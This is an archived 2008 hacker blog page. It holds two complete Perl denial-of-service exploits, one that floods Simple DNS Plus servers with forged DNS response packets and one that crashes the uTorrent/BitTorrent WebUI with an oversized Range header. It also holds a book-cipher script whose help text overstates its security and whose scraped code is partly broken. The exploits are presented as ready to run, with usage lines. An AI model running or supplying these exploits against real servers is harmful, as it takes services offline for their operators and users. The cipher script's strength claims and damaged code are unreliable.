Simple DNS Plus 5.0/4.1 remote Denial of Service exploit
Posted on July 12, 2008
Filed Under Exploits, Source code | 1 Comment
after reading the story about Dan kaminskys DNS cache posioning attack
and watching his ridiculous youtube cornflakes commercial
i decided to trace the source of this vulnerability.
so in order to understand how kaminsky attack is any diffrent from the traditional dns cache posioning
i started digging into some RFCs/documentations and playing with the protocol
to see if i can find some clues/logical faults.
yet i didnt find anything worthy and i wonder if kaminsky founding is just some algorithm of guessing a little bit faster the 16 bit transaction ID field
anyway while i was doing some tests on this Simple DNS server
i’ve found that if i repeatingly send DNS server response packets as if i was a root dns server
to the client port of the DNS server it will remotly cause a denial of service.
so what we have here is a DNS response packet built from scratch
that basicly flood the the source port of some “Simple DNS server Plus” and deny its service.
p.s: i used mutiple pack functions to make it more convenient
i could have just squeeze it into one pack but what the heck..
-
#!/usr/bin/perl
-
# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
-
#
-
# usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
-
# Exploit written by Exodus.
-
# http://www.blackhat.org.il
-
-
use IO::Socket;
-
-
if(@ARGV < 3){
-
print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
-
}
-
$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server");
-
-
-
-
$address = $ARGV[0];
-
-
$trans = pack("H4","1337");
-
$flags = pack("B16","1000010110110000");
-
$question = pack("H4","0001");
-
$answerRR = pack("H4","0001");
-
$authorityRR = pack("H4","0000");
-
$additionlRR = pack("H4","0000");
-
$type = pack("H4","0001"); # A host name
-
$class = pack("H4","0001"); # IN
-
-
@parts = split(/\./,$address);
-
foreach $part (@parts)
-
{
-
$packedlen = pack("H2",sprintf("%02x",length($part)));
-
$address2 .= $packedlen.$part;
-
}
-
$query = $address2. "\000" . $type . $class;
-
-
$aname = pack("H4","c00c");
-
$atype = pack("H4","0001");
-
$aclass = pack("H4","0001");
-
$ttl = pack("H8","0000008d");
-
$dlen = pack("H4","0004");
-
$addr = inet_aton("127.0.0.1");
-
$answer = $aname . $atype . $aclass . $ttl . $dlen . $addr;
-
-
$payload = $trans . $flags . $question . $answerRR
-
. $authorityRR . $additionlRR . $query . $answer;
-
-
print "sending $ARGV[2] packets… ";
-
for($i=0;$i<=$ARGV[2];$i++)
-
{
-
print $sock $payload;
-
}
-
print "Done. Good bye.";
-
__END__
uTorrent / BitTorrent WebIU 1.7.7/6.0.1 Range header Denial of Service exploit
Posted on June 23, 2008
Filed Under Exploits, Source code | Leave a Comment
Today i kinda got really bored, so i’ve decided to dig into some advisories and see what i can find
during my search i’ve found the following advisory
and since i didnt have anything better to do and it doesnt require much of a thinking
i came up with the following exploit:
-
#!/usr/bin/perl
-
# uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header Denial of Service exploit
-
# according to the following advisory: http://secunia.com/advisories/30605
-
#
-
# usage: WebUI-dos.pl <url> <port> <user:pass>
-
# Exploit written by Exodus.
-
# http://www.blackhat.org.il
-
-
use IO::Socket;
-
use MIME::Base64;
-
-
if(@ARGV < 3)
-
{ &usage; }
-
-
($host,$ref) = split(/\//,$ARGV[0]);
-
-
$sock = IO::Socket::INET->new(PeerAddr => "$host:$ARGV[1]", Proto =>'TCP') || die("[X]Couldnt connect to host: $host:$ARGV[1]\n");
-
$buff = "E" x 60000;
-
$up = encode_base64($ARGV[2]);
-
chomp($up);
-
-
print $sock "GET /gui/common.js HTTP/1.1\r\n".
-
"Host: $host\r\n".
-
"Authorization: Basic $up\r\n".
-
"Range: bytes=$buff\r\n".
-
"Connection: close\r\n\r\n";
-
-
close($sock);
-
-
print "[!]Payload sent, WebUI should be down…\n";
-
-
-
-
sub usage
-
{
-
print "usage $0 <url> <port> <user:pass>\n".
-
"ex: $0 127.0.0.1/gui/common.js 1337 admin:admin\n";
-
exit;
-
}
Desert Scroll cypher
Posted on June 22, 2008
Filed Under Cryptography, Projects, Source code | Leave a Comment
1. Overview:
Desert Scroll is an old project of mine which i wrote in perl couple of years ago
and basicly its an implementation of a Book encryption
2. How does it work:
2.1. Loading && Mapping the key file:
at first before every encryption/decryption of plain text a key is being loaded into the memory of the script/program and then mapped into a bi-dimensional array while the first dimension is used to map all ASCII numeric values that exists in the key and in the second dimension there are all the offsets of the same ASCII value which exists in the key file
2.2.Encrypting process:
the process of the encryption is basicly a replacment of the original characters in the plaintext with the one of the offsets which lays under that ASCII value in the array
its worth mentioning that no addition steps has been taken to camouflage and prevent from the third side to understand the mechanisem of this encryption
-
perl Desert_Scroll-v1.0-recode.pl dec.txt mentor_crpyt.txt http://www.blackhat.org.il/uploads/hackermanifesto.txt -e
-
-
836 1465 431 2199 253 848 1539 358 566 1350 733 25 930 1689 1009 2759 1645 1357 2695
-
143 469 278 395 74 106 2954 2661 3127 87 2775 922 2207 1876 2637 1794 2279 3098 103
-
48 801 1394 1190 1497 2055 3123 773 3140
2.3.Decrypting process:
the decrypting process is fairly simple the script replace every offest number with its identical value from the key map.
-
perl Desert_Scroll-v1.0-recode.pl mentor_crpyt.txt mentor_dec.txt http://www.morcant.net/data/docs/Misc/hackermanifesto.txt -d
-
-
"imagination is more important than knowledge" - Albert Einstein
3.Notes:
- the code was written long time ago and if i’d be recoding it today i’m sure it could have been more efficient and optimized.
- some of the comments in the brief of the source code are a bit silly so you are more than welcome to ignore them.
-
system('cls');
-
print qq~;—————————————————————————–;
-
;Desert Scroll v1.0: Exodus/nullfield\@gmail.com;
-
;—————————————————————————–;
-
[!]INPUT: Desert_Scroll-v1.0-recode.pl $ARGV[0] $ARGV[1] $ARGV[2] $ARGV[3]
-
~;
-
if(@ARGV==1 && @ARGV[0] eq "-h")
-
{
-
print qq~
-
DS is a encoding/decoding tool implementing the so called book-encryption
-
and almost uncrackable unless using the right key. what makes this
-
encryption so uniqe is that the key could be almost anything from the very
-
"Declaration of Independence" to the Mentors "The Conscience of a Hacker"
-
paper.
-
this means that two sides could first decide on a key-text which could be
-
some famous paper on god knows what and after then they could start swiching
-
messages without any concerns that a third side factor would disturb and
-
decode their data.
-
-
another note that must be mentioned is that the bigger in size the key is the
-
stronger and tougher to crack the encryption is. however
-
there is still one basic disadvantage in this encryption, in order to encode
-
any ascii value the key must contain it somewhere in it or else it wont get
-
encoded or in order words some of the data will get lost
-
therefore it is better to use a large texts which would contain atleast the
-
most important ascii values to ensure a valid flow of encoded data.
-
DS also contains a key generator that ensures a strong and valid encryption
-
Use:
-
the defination of the arguments of the encoder/decoder routines is using the
-
following syntax:
-
perl Desert_Scroll-v1.0-recode.pl <-e/-d>
-
<-e/-d> -> -e to encode, -d to decode.
-
-> source text to encode/decode or a qouted text.
-
-> destenation to output the resaults.
-
-> I. a pointer to the key file
-
II. an interger to generate a key
-
III. an URL pointing on the key source(format: http://…)
-
-
You can also use the key-generator stand-alone features by using the
-
following synatx:
-
perl Desert_Scroll-v1.0-recode.pl <-g>
-
-> key length.
-
-> Destenation of the key file.
-
~;}
-
-
elsif(@ARGV[0] eq "-g")
-
{
-
if(@ARGV!=3)
-
{
-
print qq~
-
[!]in order to use the key generator function you must follow this syntax:
-
[!] perl Desert_Scroll-v1.0-recode.pl -g
-
[!] -> key length.
-
[!] -> Destenation of the key file.
-
~;
-
exit;
-
}
-
print "\n[V]Generating key…\n";
-
$key=key_gen(@ARGV[1]);
-
print "[V]Key is being saved to @ARGV[2].\n";
-
save_file(@ARGV[2],$key);
-
print "[V]Key generation completed.\n";
-
}
-
-
elsif(@ARGV!=3)
-
{
-
print qq~
-
[!]DS is using the following syntax:
-
[!]Use: perl Desert_Scroll-v1.0-recode.pl <-e/-d>
-
[!]type "perl Desert_Scroll-v1.0-recode.pl -h" for fully specifications about DS.
-
-
~;
-
}
-
if(@ARGV[3] eq "-e")
-
{
-
-
$file=file_content(@ARGV[0]);
-
$key=file_content(@ARGV[2]);
-
if(!$file)
-
{print"[!]Couldnt open source file therefore argument treated like a string.\n";}
-
$key_string=@ARGV[2];
-
if($key_string=~/http\:\/\//)
-
{
-
print "[!]Downloading the key from: $key_string\n";
-
$key=get($key_string);
-
}
-
elsif($key=file_content($key_string))
-
{ print "[!]Opening the source of the key file.\n"; }
-
else
-
{
-
print "[!]Couldnt open Key-file therfore argument treated like a length interger.\n";
-
$key=key_gen($key_string);
-
save_file("[key]".@ARGV[0],$key);
-
print "[!]New Generated key has been saved to \"[key]@ARGV[0]\"\n";
-
}
-
key_map($key);
-
print "[V]Key mapped successfully in memory.\n";
-
save_file(@ARGV[1],encode($file));
-
print "[V]Encoded file is saved to \"@ARGV[1]\".\n";
-
print "[V]Encoding complete.\n";
-
close(DEST);
-
$e=;
-
}
-
elsif(@ARGV[3] eq "-d")
-
{
-
$file=file_content(@ARGV[0]);
-
$key=file_content(@ARGV[2]);
-
if(!$file)
-
{print"[!]Couldnt open source file therefore argument treated like a string.\n"; }
-
if(@ARGV[2]=~/http\:\/\//)
-
{
-
print "[!]Downloading the key from: @ARGV[2]\n";
-
$key=get(@ARGV[2]);
-
}
-
elsif(!$key)
-
{ print "[X]Could'nt Open the source key file, decoding process failed.\n";exit;}
-
print "[!]Opening the source of the key file.\n";
-
save_file(@ARGV[1],decode($file,$key));
-
print "[V]Decoded file is saved to \"@ARGV[1]\".\n";
-
print "[V]Decoding complete.\n";
-
close(DEST);
-
$e=;
-
-
}
-
-
sub file_content()
-
{
-
my $content,$line;
-
my ($source)=@_;
-
open(FILE_CON,$source) || return 0;
-
while($line=) {$content.=$line;}
-
close(FILE_CON);
-
return $content;
-
}
-
sub save_file()
-
{
-
my ($dest,$content)=@_;
-
if(!open(FILE_SAV,">$dest"))
-
{ print("[X]Unable to open the file.\n"); }
-
print FILE_SAV $content;
-
close(FILE_SAV);
-
}
-
-
sub key_gen()
-
{
-
my ($len)=@_;
-
for($i=0; $i<=$len;$i++)
-
{
-
$keytext.=$rnd_char=chr(rand(255));
-
}
-
return $keytext;
-
}
-
-
sub encode
-
{
-
my ($content)=@_;
-
$len=length($content);
-
for($i=0;$i<=$len;$i++) # foreach letter
-
{
-
$num=ord(substr($content,$i,1));
-
if(@{$map[$num]})
-
{
-
$rand_var_alloc = $map[$num][int(rand(scalar(@{$map[$num]})))];
-
$encoded.="$rand_var_alloc ";
-
}
-
else { print "[X]the ASCII value $num doesnt exist in the key this might cause data loss..\n";}
-
}
-
return $encoded;
-
-
}
-
-
sub decode
-
{
-
my @encoded,$num,$letter,$decoded;
-
my ($content,$key_src)=@_;
-
@encoded = split(/ /,$content);
-
foreach $num (@encoded)
-
{
-
$letter = substr($key_src,$num,1);
-
$decoded .= $letter;
-
}
-
return $decoded
-
-
}
-
-
sub key_map
-
{
-
my ($content)=@_;
-
my $num,$i;
-
for($i=0;$i<=length($content);$i++)
-
{
-
$num=ord(substr($content,$i,1));
-
push(@{$map[$num]},$i);
-
}
-
return(1);
-
}